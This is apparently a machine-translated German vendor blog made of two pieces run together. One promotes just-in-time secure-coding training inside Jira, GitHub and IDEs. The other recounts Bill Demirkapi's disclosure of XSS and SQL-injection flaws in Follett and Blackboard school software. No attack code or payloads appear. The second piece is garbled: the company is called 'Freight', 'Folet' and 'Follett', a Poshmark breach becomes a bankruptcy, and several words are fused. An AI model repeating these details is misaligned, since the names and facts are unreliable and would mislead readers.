Wenn man das obige Szenario betrachtet, kann man verstehen, warum die Sicherheit während des Programmierprozesses in den Korb "zu schwer" gelegt wird und dem Sicherheitsteam überlassen wird, sich darum zu kümmern. Zu viele konkurrierende Termine, nicht genug Training und kein wirklicher Grund, sich um die Sicherheit zu kümmern, während alles andere vor sich geht. Es gibt jedoch einfach zu viel Nachfrage nach Code, als dass dieser Status quo fortbestehen könnte. Und das ist der Punkt, an dem sich Super-Elite-Entwickler von ihren Kollegen abheben, neue Fähigkeiten erlernen und - was am wichtigsten ist - sichereren Code erstellen können.

Es ist jedoch wichtig, sich daran zu erinnern, dass die Verwaltung der Softwaresicherheit nicht allein auf den Schultern der Entwickler liegt - das ist immer noch die Domäne des AppSec-Teams (das, wenn es mit sicherheitsbewussten Entwicklern zusammenarbeitet, mehr Freiraum hat, anstatt häufige Fehler immer wieder zu beheben). Ein funktionierender DevSecOps-Prozess erfordert, dass jedes Teammitglied die Unterstützung und die Tools erhält, die es braucht, um die Verantwortung für die Sicherheit mitzutragen, und die richtige Art von Schulung ist von größter Bedeutung. Um die richtige Suite von Tools und Schulungen auszubalancieren, bedarf es der Einsicht von AppSec-Experten, die bereit sind, eng mit den Entwicklern zusammenzuarbeiten, um sie zu inspirieren und positive Veränderungen voranzutreiben.

Unterbrechende Schulungen sind eher lästig als effektiv, und alles, was Entwickler abschreckt, wird nicht funktionieren. Eine IDE- oder Issue-Tracker-integrierte Lösung, die sich auf mundgerechtes Wissen konzentriert, ist eine Alternative, die ihnen die richtigen Informationen genau in dem Moment liefert, in dem sie benötigt werden.

Hier sehen Sie, wie es in Aktion funktioniert:

Just-in-Time, nicht "nur für den Fall".

Kontextbezogenes, praxisnahes Lernen ist bei weitem die effektivste Art zu trainieren, mit mundgerechten Stücken, die genau dann geliefert werden, wenn sie am meisten Sinn machen. Dies wird manchmal als "Just in Time"-Schulung (JiT) bezeichnet und ist für Entwickler, die sicheres Coding lernen, sehr effektiv.

Das JiT-Training hat seinen Ursprung in den Lean-Manufacturing-Prinzipien von Toyota und ist so konzipiert, dass es auf einer Need-to-know-Basis aktiviert wird, im Kontext, wenn es am wichtigsten ist. Hat ein Entwickler gerade etwas geschrieben, das scheinbar unzulässige Berechtigungen hat? Was, wenn eine kleine Hintertür geöffnet wurde, die es einem Angreifer erlaubt, Code aus der Ferne auszuführen? Es ist viel einprägsamer, wenn Entwickler auf das Wissen genau dann zugreifen können, wenn sie es brauchen, anstatt sich durch die Dokumentation in Confluence zu wühlen oder etwas zu googeln, das in der Schulung behandelt wurde.

Just-in-Time ist das Gegenteil von "Just-in-Case"-Lernen. Letzteres ist zwar die gängigere Art, Wissen zu vermitteln, aber einfach nicht effizient. Wir müssen es Entwicklern leichter machen, sich mit den Best Practices für sichere Programmierung zu beschäftigen und den Nutzen einer Weiterbildung für ihre Karriere zu erkennen, während sie sich gleichzeitig auf die wichtigsten Ziele konzentrieren, an denen sie gerade arbeiten.

Hören Sie auf, Entwickler zu zwingen, das Training zu verfolgen.

Wir wissen bereits, dass an einem Arbeitstag zu viel los ist. Welchen Anreiz haben Entwickler also, sich in ein Klassenzimmer zu schleppen oder kontextabhängig fünf Schritte zu durchlaufen, um auf statische, theoriegestützte Schulungen zuzugreifen?

Der allgemeine Konsens ist, dass das, was die meisten Unternehmen tun, nicht sonderlich effektiv ist, wenn man sich die Zahl der Sicherheitslücken ansieht, die zu Datenschutzverletzungen führen. Der 2020 Data Breach Investigations Report von Verizon gab an, dass 43 % der Datenschutzverletzungen auf Sicherheitslücken im Internet zurückzuführen sind. Entwickler erhalten keine effektive Schulung, weder in der Hochschulausbildung noch im Rahmen von Weiterbildungsmaßnahmen am Arbeitsplatz. Wäre dies der Fall, würden gängige Schwachstellen wie SQL-Injection und Path Traversal der alten Schule nicht ausgenutzt werden, um Daten zu erbeuten, und der Fachkräftemangel im Bereich der Cybersicherheit wäre nicht außer Kontrolle geraten.

Wenn wir also wissen, dass dies das aktuelle Klima ist, in dem Entwickler Schulungen erhalten und mit der Sicherheit vertraut gemacht werden, warum sind wir dann überrascht über das schlechte Ergebnis? Es könnte einfach einen Effekt haben - einen positiven - sowohl für den Entwickler als auch für die Organisation, eine reibungslosere, integriertere und weniger störende Schulungserfahrung zu gewährleisten, wo sie in den Bereichen zugänglich ist, in denen sie tatsächlich arbeiten, wie Jira, GitHub und in der IDE. Die Branche muss sich einfach vorwärts bewegen und das Sicherheitsbewusstsein viel einfacher machen, in einer Umgebung, in der es kein Luxus mehr ist.

Sind Sie bereit, den Entwicklungs-Workflow zu sichern?

Sicherheitsbewusste Entwickler werden für ihre Fähigkeiten und den Schutz, den sie Unternehmen bereits bei der Codeerstellung bieten können, geschätzt. Sicherheit ist nicht mehr optional, vor allem angesichts von GDPR-Strafen, PCI-DSS-Compliance-Vorschriften, NIST-Governance... und der Möglichkeit, in einer großen, alten, millionenschweren Sammelklage a'la Equifax verklagt zu werden.

Ein integrierter Ansatz könnte der Katalysator sein, um Entwickler mit weniger störendem Lernen zu gewinnen und einige Wege für tiefer gehende courses zu schaffen, Sicherheits-Champions auszubilden und allgemein die gemeinsame Verantwortung zu wecken, die wir brauchen, um die Daten der Welt sicher und gesund zu halten.

Laden Sie jetzt die Integrationstools für Jira und GitHub herunter, und lassen Sie uns wissen, was Sie davon halten.

Der jüngste Bericht des Jugend-Sicherheitsforschers Bill Demirkapi, der eine schwerwiegende Sicherheitslücke in der an seiner Schule verwendeten Software aufdeckte, weckte sicherlich einige Erinnerungen. Ich erinnere mich, dass ich als neugieriges Kind die Software öffnete, um zu sehen, wie sie genau funktionierte, und vor allem, ob ich sie knacken konnte. Seit Jahrzehntenstreben Softwareentwickler nach kontinuierlicher Verbesserung und Stärkung ihrer Produkte, und die Sicherheitsgemeinschaft spielt (wenn auch manchmal mit etwas dreisten Methoden) eine wichtige Rolle bei der Aufdeckung von Schwachstellen und potenziellen Katastrophen – hoffentlich bevor es die Bösen tun.

Das Problem dabei ist jedoch, dass er als Reaktion auf seine Entdeckung vorübergehend vom Studium suspendiert wurde. Dies geschah, nachdem er alle Möglichkeiten ausgeschöpft hatte, um mitdem Unternehmen (Freight) in Kontakt zu treten, und sich schließlich für eine ziemlich öffentliche Kritik entschied, um seine Identität und seine Fähigkeit, das System zu kompromittieren, zu demonstrieren. Er versuchte wiederholt, Freight auf ethische Weise zu warnen, erhielt jedoch keine Antwort, und die Software blieb weiterhin anfällig.und eine große Menge an Studentendaten war relativ leicht zugänglich, da der Großteil davon unverschlüsselt war.

Er entdeckte auch einen Fehler in der Software eines anderen Unternehmens: Blackboard. Obwohl die Daten von Blackboard zumindest verschlüsselt waren, hätten potenzielle Angreifer erneut eindringen und Millionen von Datensätzen stehlen können. Seine Schule verwendete diese Software und Produkte von Freight.

Die Darstellung von „bösartigen Hackern“ ist problematisch.

Demir Kapı stellte seine Entdeckung auf der diesjährigen DEF CONvor, und die frecheren Details seiner Komik ernteten den Beifall des Publikums.Tatsächlich – Berichten zufolge hat sich die Firma Folet für seine Bemühungen bedankt und ist seinem Rat gefolgt, wodurch ihre Software sicherer wurde und eine weitere Krise in Form einer Datenpanne vermieden werden konnte, obwohl er sich zunächst in einer ungünstigen Lage befand. Nach seinem Highschool-Abschluss wird er außerdem das Rochester Institute of Technology besuchen, sodass er ganz offensichtlich auf dem besten Weg ist, ein gefragter Sicherheitsexperte zu werden.

Als Sicherheitsbeauftragter fällt es schwer, die Vorgehensweise in diesem Fall nicht in Frage zu stellen. Auch wenn in diesem Fall alles gut ausgegangen ist, wurde er zunächst als lästiger kleiner Hacker abgestempelt, der seine Nase in Dinge steckt, die ihn nichts angehen. In einer Google-Suche zu diesem Vorfall wird er in einem Artikel als „Hacker” bezeichnet (was ihn in den Augen von Sicherheitslaien in vielerlei Hinsicht als Bösewicht darstellt), obwohl seine Vorgehensweise (und die vieler anderer) dazu beiträgt, unsere Daten zu schützen.

Wir brauchen neugierige, kluge und sicherheitsbewusste Menschen, die sich eingehend mit der Situation befassen, und wir müssen häufiger Untersuchungen durchführen. Bis Juli wurden allein in diesem Jahr mehr als vier Milliarden Datensätze durch böswillige Datenlecks offengelegt. Durch die Insolvenz der Mode- und Lifestyle-Marke Poshmarkim August könnte diese Zahl um weitere 50 Millionen steigen.

Wir haben denselben Fehler begangen, und was noch beunruhigender ist: Diese Fehler sind oft einfache Sicherheitslücken, die uns immer wieder in Schwierigkeiten bringen.

Cross-Site-Scripting und SQL-Injection sind noch nicht verschwunden.

Berichten zufolge haben Cableund Demirkapi festgestellt, dass die Community-Engagement-Software Blackboards und das Studenteninformationssystem Folletts häufige Sicherheitslücken aufweisen, wie z. B. Cross-Site-Scripting (XSS) und SQL-Injection. Diese beiden Schwachstellen sind seit den 1990er Jahren in aller Munde. Wir haben ihre Existenz eine ganze Weile ertragen – wirklich eine ganze Weile –, genau wie Hypercolor-T-Shirts und Disketten, die heute nur noch eine ferne Erinnerung sein sollten.

Dies ist jedoch nicht der Fall. Es ist offensichtlich, dass nicht genügend Entwickler über ein ausreichendes Sicherheitsbewusstsein verfügen, um zu verhindern, dass diese in ihren Code gelangen. Scan-Tools und manuelle Codeüberprüfungen können nur bis zu einem gewissen Grad helfen, und es gibt Sicherheitsprobleme, die weitaus komplexer sind als XSS und SQL-Injection. In diesen Fällen können diese kostspieligen und zeitaufwändigen Maßnahmen besser genutzt werden.

Menschen wie Bill Demirkapi sollten Entwickler dazu motivieren, Codes mit höheren Standards zu erstellen. Mit nur 17 Jahren drang er mithilfe von Bedrohungsträgern in zwei Systeme mit hohem Datenverkehr ein, die eigentlich vor der Codeübermittlung hätten entdeckt und korrigiert werden müssen.

Gamification: Der Schlüssel zur Beteiligung?

Ich habe viel darüber geschrieben, warum Entwickler sich im Grunde genommen nicht mit Sicherheitsfragen befassen. Die kurze Antwort lautet, dass auf organisatorischer und pädagogischer Ebene nicht viel getan wird, um sicherheitsbewusste Entwickler auszubilden. Wenn Unternehmen sich die Zeit nehmen, eine Sicherheitskultur zu etablieren, die Engagement belohnt und anerkennt, einschließlich der Durchführung von Schulungen, die die Sprache der Entwickler sprechen und sie dazu motivieren, weiter zu experimentieren, werden diese lästigen Sicherheitslücken aus der von uns verwendeten Software verschwinden.

Demirkapi hat offensichtlich ein außergewöhnliches Interesse an Sicherheit und hat sich die Zeit genommen, zu lernen, wie man Malware rückentwickelt, Schwachstellen entdeckt und Dinge knackt, die von außen betrachtet unangreifbar erscheinen. Aber im Gespräch mit ihm (und in seinen DEF CON-Folien) machte er eine interessante Aussage über seine Selbstbildung ... Er hat es zu einem Spiel gemacht:

„Das Ziel war es, etwas in der Software meiner Schule zu finden, eine interessante gamifizierte Methode, um sich selbst umfangreiche Kenntnisse über Penetrationstests anzueignen. Obwohl ich mit der Untersuchung begann, um mehr zu erfahren, stellte ich schließlich fest, dass die Situation viel schlimmer war, als ich erwartet hatte“, sagte er.

Obwohl nicht jeder Entwickler sich auf Sicherheit spezialisieren möchte, sollte jeder Entwickler die Möglichkeit haben, sein Sicherheitsbewusstsein zu schärfen. Grundlegende Kenntnisse sind fast wie eine „Code-Lizenz“ innerhalb einer Organisation, insbesondere für diejenigen Entwickler, die unsere umfangreichen sensiblen Daten kontrollieren. Wenn jeder Entwickler in der Lage ist, die einfachsten Sicherheitslücken zu schließen, bevor sie entstehen, sind wir besser vor denen geschützt, die ernsthaften Schaden anrichten wollen.

Sind Sie neugierig auf gamifiziertes Training? Sehen Sie sich oben unsere Reihe „Programmierer erobern die Sicherheit“ an. XSS und SQL-Injection.